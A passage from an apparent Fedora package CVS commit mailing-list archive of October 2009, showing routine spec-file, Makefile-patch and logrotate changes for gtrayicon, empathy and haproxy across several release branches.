-	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic
+	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic $(CFLAGS) 
 
 clean:
 	rm $(TARGET)
 
 install: $(TARGET)
-	mkdir $(INSTALL_PREFIX)/share/$(TARGET)
+	mkdir -p $(INSTALL_PREFIX)/bin/
+	mkdir -p $(INSTALL_PREFIX)/share/$(TARGET)
 	$(INSTALL) -m 644 $(TARGET).glade $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 activate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 deactivate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 755 $(TARGET) $(INSTALL_PREFIX)/bin/
-	$(INSTALL) -m 644 README $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 ChangeLog $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 LICENSE $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 sample.menu $(INSTALL_PREFIX)/share/$(TARGET)/
 
 uninstall:
 	rm -r $(INSTALL_PREFIX)/share/$(TARGET)


--- NEW FILE gtrayicon.spec ---
Name:           gtrayicon
Version:        1.1
Release:        2%{?dist}
Summary:        Generic tray icon for GNOME

Group:          User Interface/Desktops
License:        GPLv3+
URL:            http://gtrayicon.sourceforge.net/
Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
Patch0:         %{name}-1.1-makefile.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libglade2-devel

%description
Gtrayicon is a generic tray icon for GNOME. It defines two actions: activate 
and deactivate, that are alternated by clicking in the tray icon. You choose 
what commands to run on each action. You can also define each action's icon and
a custom menu that is shown on left click. A sample menu file is included with 
the package. Check %{_docdir}/gtrayicon-%{version}/sample.menu for more info.


%prep
%setup -q
%patch0 -p1 -b .orig

%build
make %{?_smp_mflags} CFLAGS="%{optflags}"


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'
install -Dpm0644 Debian/%{name}.1 %{buildroot}/%{_mandir}/man1/%{name}.1


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ChangeLog sample.menu README LICENSE
%{_bindir}/%{name}
%{_datadir}/%{name}/
%{_mandir}/man1/%{name}.1.*


%changelog
* Sat Oct 17 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-2
- Fix license tag
- Fix manpage install

* Sun Sep 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-1
- Initial package


--- NEW FILE import.log ---
gtrayicon-1_1-2_fc12:HEAD:gtrayicon-1.1-2.fc12.src.rpm:1255812886


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:55 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:12:54 -0000	1.2
@@ -0,0 +1 @@
+gtrayicon-1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:55 -0000	1.1
+++ sources	17 Oct 2009 21:12:54 -0000	1.2
@@ -0,0 +1 @@
+7d30a5b8558e8c600cf1ea4916c8adfc  gtrayicon-1.1.tar.gz



From cwickert at fedoraproject.org  Sat Oct 17 21:17:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:17:00 +0000 (UTC)
Subject: rpms/gtrayicon/devel gtrayicon.spec,1.1,1.2
Message-ID: <20091017211700.D6A5111C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19912

Modified Files:
	gtrayicon.spec 
Log Message:
add review #


Index: gtrayicon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/devel/gtrayicon.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gtrayicon.spec	17 Oct 2009 21:12:54 -0000	1.1
+++ gtrayicon.spec	17 Oct 2009 21:17:00 -0000	1.2
@@ -1,3 +1,5 @@
+# Review: https://bugzilla.redhat.com/show_bug.cgi?id=524605
+
 Name:           gtrayicon
 Version:        1.1
 Release:        2%{?dist}



From mclasen at fedoraproject.org  Sat Oct 17 21:18:57 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 17 Oct 2009 21:18:57 +0000 (UTC)
Subject: rpms/empathy/F-12 no-settings.patch, NONE, 1.1 empathy.spec, 1.80,
	1.81
Message-ID: <20091017211857.D015C11C00EC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20372

Modified Files:
	empathy.spec 
Added Files:
	no-settings.patch 
Log Message:
Fix a possible crash in the accounts dialog


no-settings.patch:
 empathy-accounts-dialog.c |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE no-settings.patch ---
diff -up empathy-2.28.0.1/src/empathy-accounts-dialog.c.no-settings empathy-2.28.0.1/src/empathy-accounts-dialog.c
--- empathy-2.28.0.1/src/empathy-accounts-dialog.c.no-settings	2009-10-17 17:14:40.775659867 -0400
+++ empathy-2.28.0.1/src/empathy-accounts-dialog.c	2009-10-17 17:14:58.266908666 -0400
@@ -1223,6 +1223,9 @@ accounts_dialog_account_display_name_cha
   display_name = empathy_account_get_display_name (account);
   model = gtk_tree_view_get_model (GTK_TREE_VIEW (priv->treeview));
   settings = accounts_dialog_model_get_selected_settings (dialog);
+  if (settings == NULL)
+    return;
+
   selected_account = empathy_account_settings_get_account (settings);
 
   if (accounts_dialog_get_account_iter (dialog, account, &iter))


Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- empathy.spec	13 Oct 2009 15:03:55 -0000	1.80
+++ empathy.spec	17 Oct 2009 21:18:57 -0000	1.81
@@ -14,7 +14,7 @@
 
 Name:		empathy
 Version:	2.28.0.1
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -33,6 +33,9 @@ Patch1:		%{name}-broken-pkgconfig.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=592853
 Patch3:		presence-icons.patch
 Patch5:		%{name}-broken-nm.patch
+# fixed upstream, https://bugzilla.gnome.org/show_bug.cgi?id=597416
+Patch6:         no-settings.patch
+
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	enchant-devel >= %{enchant_version}
@@ -136,6 +139,7 @@ bindings to the libempathy and libempath
 %patch1 -p1 -b .pkgconfig
 %patch3 -p1 -b .presence-icons
 %patch5 -p1 -b .nm
+%patch6 -p1 -b .no-settings
 
 # force these to be regenerated
 rm data/empathy.desktop
@@ -244,6 +248,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0.1-3
+- Include an upstream fix for a possible crash in the accounts dialog
+
 * Tue Oct 13 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-2
 - Require tp-idle and tp-butterfly.
 



From jjh at fedoraproject.org  Sat Oct 17 21:20:17 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:20:17 +0000 (UTC)
Subject: rpms/haproxy/devel haproxy.logrotate, NONE, 1.1 .cvsignore, 1.16,
	1.17 haproxy.cfg, 1.3, 1.4 haproxy.spec, 1.23, 1.24 sources,
	1.16, 1.17
Message-ID: <20091017212017.2840711C029F@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21279

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Added Files:
	haproxy.logrotate 
Log Message:
update to 1.3.22 and add logrotate script


--- NEW FILE haproxy.logrotate ---
/var/log/haproxy.log {
    daily
    rotate 10
    missingok
    notifempty
    compress
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
        /bin/kill -HUP `cat /var/run/rsyslogd.pid 2> /dev/null` 2> /dev/null || true
    endscript
}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	12 Oct 2009 06:14:45 -0000	1.16
+++ .cvsignore	17 Oct 2009 21:20:16 -0000	1.17
@@ -1,3 +1,4 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
 haproxy-1.3.21.tar.gz
+haproxy-1.3.22.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/haproxy.cfg,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- haproxy.cfg	12 Oct 2009 06:22:01 -0000	1.3
+++ haproxy.cfg	17 Oct 2009 21:20:16 -0000	1.4
@@ -10,7 +10,21 @@
 # Global settings
 #---------------------------------------------------------------------
 global
+    # to have these messages end up in /var/log/haproxy.log you will
+    # need to:
+    #   
+    # 1) configure syslog to accept network log events.  This is done
+    #    by adding the '-r' option to the SYSLOGD_OPTIONS in 
+    #    /etc/sysconfig/syslog
+    #   
+    # 2) configure local2 events to go to the /var/log/haproxy.log
+    #   file. A line like the following can be added to 
+    #   /etc/sysconfig/syslog
+    #   
+    #    local2.*                       /var/log/haproxy.log
+    #    
     log         127.0.0.1 local2 
+
     chroot      /var/lib/haproxy
     pidfile     /var/run/haproxy.pid
     maxconn     4000
@@ -18,6 +32,9 @@ global
     group       haproxy
     daemon
 
+    # turn on stats unix socket
+    stats socket /var/lib/haproxy/stats
+
 #---------------------------------------------------------------------
 # common defaults that all the 'listen' and 'backend' sections will 
 # use if not designated in their block


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/haproxy.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- haproxy.spec	12 Oct 2009 06:14:45 -0000	1.23
+++ haproxy.spec	17 Oct 2009 21:20:16 -0000	1.24
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.21
+Version:        1.3.22
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -16,6 +16,7 @@ URL:            http://haproxy.1wt.eu/
 Source0:        http://haproxy.1wt.eu/download/1.3/src/haproxy-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.cfg
+Source3:        %{name}.logrotate
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  pcre-devel 
@@ -63,6 +64,7 @@ make install-man DESTDIR=%{buildroot} PR
 
 %{__install} -p -D -m 0755 %{SOURCE1} %{buildroot}%{_initrddir}/%{name}
 %{__install} -p -D -m 0644 %{SOURCE2} %{buildroot}%{haproxy_confdir}/%{name}.cfg
+%{__install} -p -D -m 0644 %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/%{name}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_home}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_datadir}
 
@@ -120,6 +122,7 @@ fi  
 %dir %{haproxy_datadir}/*
 %dir %{haproxy_confdir}
 %config(noreplace) %{haproxy_confdir}/%{name}.cfg
+%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
 %{_initrddir}/%{name}
 %{_sbindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -127,6 +130,10 @@ fi  
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.22-1
+- update to 1.3.22
+- added logrotate configuration
+
 * Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
 - update to 1.3.21
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	12 Oct 2009 06:14:45 -0000	1.16
+++ sources	17 Oct 2009 21:20:16 -0000	1.17
@@ -1 +1,2 @@
 d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz
+b84e0935cfea99eda43645d53bb82367  haproxy-1.3.22.tar.gz



From cwickert at fedoraproject.org  Sat Oct 17 21:22:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:22:00 +0000 (UTC)
Subject: rpms/gtrayicon/F-10 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091017212200.6C94211C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21755/F-10

Modified Files:
	.cvsignore sources 
Log Message:
initial build of gtrayicon for this branch


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:55 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:22:00 -0000	1.2
@@ -0,0 +1 @@
+gtrayicon-1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:55 -0000	1.1
+++ sources	17 Oct 2009 21:22:00 -0000	1.2
@@ -0,0 +1 @@
+7d30a5b8558e8c600cf1ea4916c8adfc  gtrayicon-1.1.tar.gz



From cwickert at fedoraproject.org  Sat Oct 17 21:22:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:22:00 +0000 (UTC)
Subject: rpms/gtrayicon/F-11 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091017212200.8B38B11C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21755/F-11

Modified Files:
	.cvsignore sources 
Log Message:
initial build of gtrayicon for this branch


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:55 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:22:00 -0000	1.2
@@ -0,0 +1 @@
+gtrayicon-1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:55 -0000	1.1
+++ sources	17 Oct 2009 21:22:00 -0000	1.2
@@ -0,0 +1 @@
+7d30a5b8558e8c600cf1ea4916c8adfc  gtrayicon-1.1.tar.gz



From cwickert at fedoraproject.org  Sat Oct 17 21:22:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:22:00 +0000 (UTC)
Subject: rpms/gtrayicon/F-12 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091017212200.AECF611C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21755/F-12

Modified Files:
	.cvsignore sources 
Log Message:
initial build of gtrayicon for this branch


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:55 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:22:00 -0000	1.2
@@ -0,0 +1 @@
+gtrayicon-1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtrayicon/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:55 -0000	1.1
+++ sources	17 Oct 2009 21:22:00 -0000	1.2
@@ -0,0 +1 @@
+7d30a5b8558e8c600cf1ea4916c8adfc  gtrayicon-1.1.tar.gz



From cwickert at fedoraproject.org  Sat Oct 17 21:23:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:23:00 +0000 (UTC)
Subject: rpms/gtrayicon/F-10 gtrayicon-1.1-makefile.patch, NONE,
	1.1 gtrayicon.spec, NONE, 1.1
Message-ID: <20091017212300.593BF11C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22060/F-10

Added Files:
	gtrayicon-1.1-makefile.patch gtrayicon.spec 
Log Message:
add spec and patch

gtrayicon-1.1-makefile.patch:
 Makefile |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE gtrayicon-1.1-makefile.patch ---
--- gtrayicon-1.1/Makefile.orig	2008-10-30 15:51:47.000000000 +0100
+++ gtrayicon-1.1/Makefile	2009-09-20 22:48:21.000000000 +0200
@@ -1,27 +1,27 @@
 CC = gcc
+CFLAGS =
 SOURCE = gtrayicon.c
 TARGET = gtrayicon
-INSTALL_PREFIX = /usr
+INSTALL_PREFIX = $(DESTDIR)/usr
 INSTALL = /usr/bin/install
 
 ########################################################################
 
+all: $(TARGET)
+
 $(TARGET): $(SOURCE)
-	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic
+	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic $(CFLAGS) 
 
 clean:
 	rm $(TARGET)
 
 install: $(TARGET)
-	mkdir $(INSTALL_PREFIX)/share/$(TARGET)
+	mkdir -p $(INSTALL_PREFIX)/bin/
+	mkdir -p $(INSTALL_PREFIX)/share/$(TARGET)
 	$(INSTALL) -m 644 $(TARGET).glade $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 activate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 deactivate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 755 $(TARGET) $(INSTALL_PREFIX)/bin/
-	$(INSTALL) -m 644 README $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 ChangeLog $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 LICENSE $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 sample.menu $(INSTALL_PREFIX)/share/$(TARGET)/
 
 uninstall:
 	rm -r $(INSTALL_PREFIX)/share/$(TARGET)


--- NEW FILE gtrayicon.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=524605

Name:           gtrayicon
Version:        1.1
Release:        2%{?dist}
Summary:        Generic tray icon for GNOME

Group:          User Interface/Desktops
License:        GPLv3+
URL:            http://gtrayicon.sourceforge.net/
Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
Patch0:         %{name}-1.1-makefile.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libglade2-devel

%description
Gtrayicon is a generic tray icon for GNOME. It defines two actions: activate 
and deactivate, that are alternated by clicking in the tray icon. You choose 
what commands to run on each action. You can also define each action's icon and
a custom menu that is shown on left click. A sample menu file is included with 
the package. Check %{_docdir}/gtrayicon-%{version}/sample.menu for more info.


%prep
%setup -q
%patch0 -p1 -b .orig

%build
make %{?_smp_mflags} CFLAGS="%{optflags}"


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'
install -Dpm0644 Debian/%{name}.1 %{buildroot}/%{_mandir}/man1/%{name}.1


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ChangeLog sample.menu README LICENSE
%{_bindir}/%{name}
%{_datadir}/%{name}/
%{_mandir}/man1/%{name}.1.*


%changelog
* Sat Oct 17 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-2
- Fix license tag
- Fix manpage install

* Sun Sep 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-1
- Initial package



From cwickert at fedoraproject.org  Sat Oct 17 21:23:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:23:00 +0000 (UTC)
Subject: rpms/gtrayicon/F-11 gtrayicon-1.1-makefile.patch, NONE,
	1.1 gtrayicon.spec, NONE, 1.1
Message-ID: <20091017212300.C542511C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22060/F-11

Added Files:
	gtrayicon-1.1-makefile.patch gtrayicon.spec 
Log Message:
add spec and patch

gtrayicon-1.1-makefile.patch:
 Makefile |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE gtrayicon-1.1-makefile.patch ---
--- gtrayicon-1.1/Makefile.orig	2008-10-30 15:51:47.000000000 +0100
+++ gtrayicon-1.1/Makefile	2009-09-20 22:48:21.000000000 +0200
@@ -1,27 +1,27 @@
 CC = gcc
+CFLAGS =
 SOURCE = gtrayicon.c
 TARGET = gtrayicon
-INSTALL_PREFIX = /usr
+INSTALL_PREFIX = $(DESTDIR)/usr
 INSTALL = /usr/bin/install
 
 ########################################################################
 
+all: $(TARGET)
+
 $(TARGET): $(SOURCE)
-	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic
+	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic $(CFLAGS) 
 
 clean:
 	rm $(TARGET)
 
 install: $(TARGET)
-	mkdir $(INSTALL_PREFIX)/share/$(TARGET)
+	mkdir -p $(INSTALL_PREFIX)/bin/
+	mkdir -p $(INSTALL_PREFIX)/share/$(TARGET)
 	$(INSTALL) -m 644 $(TARGET).glade $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 activate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 deactivate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 755 $(TARGET) $(INSTALL_PREFIX)/bin/
-	$(INSTALL) -m 644 README $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 ChangeLog $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 LICENSE $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 sample.menu $(INSTALL_PREFIX)/share/$(TARGET)/
 
 uninstall:
 	rm -r $(INSTALL_PREFIX)/share/$(TARGET)


--- NEW FILE gtrayicon.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=524605

Name:           gtrayicon
Version:        1.1
Release:        2%{?dist}
Summary:        Generic tray icon for GNOME

Group:          User Interface/Desktops
License:        GPLv3+
URL:            http://gtrayicon.sourceforge.net/
Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
Patch0:         %{name}-1.1-makefile.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libglade2-devel

%description
Gtrayicon is a generic tray icon for GNOME. It defines two actions: activate 
and deactivate, that are alternated by clicking in the tray icon. You choose 
what commands to run on each action. You can also define each action's icon and
a custom menu that is shown on left click. A sample menu file is included with 
the package. Check %{_docdir}/gtrayicon-%{version}/sample.menu for more info.


%prep
%setup -q
%patch0 -p1 -b .orig

%build
make %{?_smp_mflags} CFLAGS="%{optflags}"


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'
install -Dpm0644 Debian/%{name}.1 %{buildroot}/%{_mandir}/man1/%{name}.1


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ChangeLog sample.menu README LICENSE
%{_bindir}/%{name}
%{_datadir}/%{name}/
%{_mandir}/man1/%{name}.1.*


%changelog
* Sat Oct 17 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-2
- Fix license tag
- Fix manpage install

* Sun Sep 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-1
- Initial package



From cwickert at fedoraproject.org  Sat Oct 17 21:23:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:23:00 +0000 (UTC)
Subject: rpms/gtrayicon/F-12 gtrayicon-1.1-makefile.patch, NONE,
	1.1 gtrayicon.spec, NONE, 1.1
Message-ID: <20091017212301.030EF11C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22060/F-12

Added Files:
	gtrayicon-1.1-makefile.patch gtrayicon.spec 
Log Message:
add spec and patch

gtrayicon-1.1-makefile.patch:
 Makefile |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE gtrayicon-1.1-makefile.patch ---
--- gtrayicon-1.1/Makefile.orig	2008-10-30 15:51:47.000000000 +0100
+++ gtrayicon-1.1/Makefile	2009-09-20 22:48:21.000000000 +0200
@@ -1,27 +1,27 @@
 CC = gcc
+CFLAGS =
 SOURCE = gtrayicon.c
 TARGET = gtrayicon
-INSTALL_PREFIX = /usr
+INSTALL_PREFIX = $(DESTDIR)/usr
 INSTALL = /usr/bin/install
 
 ########################################################################
 
+all: $(TARGET)
+
 $(TARGET): $(SOURCE)
-	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic
+	$(CC) $(SOURCE) -o $(TARGET) `pkg-config --cflags --libs libglade-2.0` -export-dynamic $(CFLAGS) 
 
 clean:
 	rm $(TARGET)
 
 install: $(TARGET)
-	mkdir $(INSTALL_PREFIX)/share/$(TARGET)
+	mkdir -p $(INSTALL_PREFIX)/bin/
+	mkdir -p $(INSTALL_PREFIX)/share/$(TARGET)
 	$(INSTALL) -m 644 $(TARGET).glade $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 activate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 644 deactivate.svg $(INSTALL_PREFIX)/share/$(TARGET)/
 	$(INSTALL) -m 755 $(TARGET) $(INSTALL_PREFIX)/bin/
-	$(INSTALL) -m 644 README $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 ChangeLog $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 LICENSE $(INSTALL_PREFIX)/share/$(TARGET)/
-	$(INSTALL) -m 644 sample.menu $(INSTALL_PREFIX)/share/$(TARGET)/
 
 uninstall:
 	rm -r $(INSTALL_PREFIX)/share/$(TARGET)


--- NEW FILE gtrayicon.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=524605

Name:           gtrayicon
Version:        1.1
Release:        2%{?dist}
Summary:        Generic tray icon for GNOME

Group:          User Interface/Desktops
License:        GPLv3+
URL:            http://gtrayicon.sourceforge.net/
Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
Patch0:         %{name}-1.1-makefile.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libglade2-devel

%description
Gtrayicon is a generic tray icon for GNOME. It defines two actions: activate 
and deactivate, that are alternated by clicking in the tray icon. You choose 
what commands to run on each action. You can also define each action's icon and
a custom menu that is shown on left click. A sample menu file is included with 
the package. Check %{_docdir}/gtrayicon-%{version}/sample.menu for more info.


%prep
%setup -q
%patch0 -p1 -b .orig

%build
make %{?_smp_mflags} CFLAGS="%{optflags}"


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'
install -Dpm0644 Debian/%{name}.1 %{buildroot}/%{_mandir}/man1/%{name}.1


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ChangeLog sample.menu README LICENSE
%{_bindir}/%{name}
%{_datadir}/%{name}/
%{_mandir}/man1/%{name}.1.*


%changelog
* Sat Oct 17 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-2
- Fix license tag
- Fix manpage install

* Sun Sep 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1-1
- Initial package



From tgl at fedoraproject.org  Sat Oct 17 21:26:59 2009
From: tgl at fedoraproject.org (Tom Lane)
Date: Sat, 17 Oct 2009 21:26:59 +0000 (UTC)
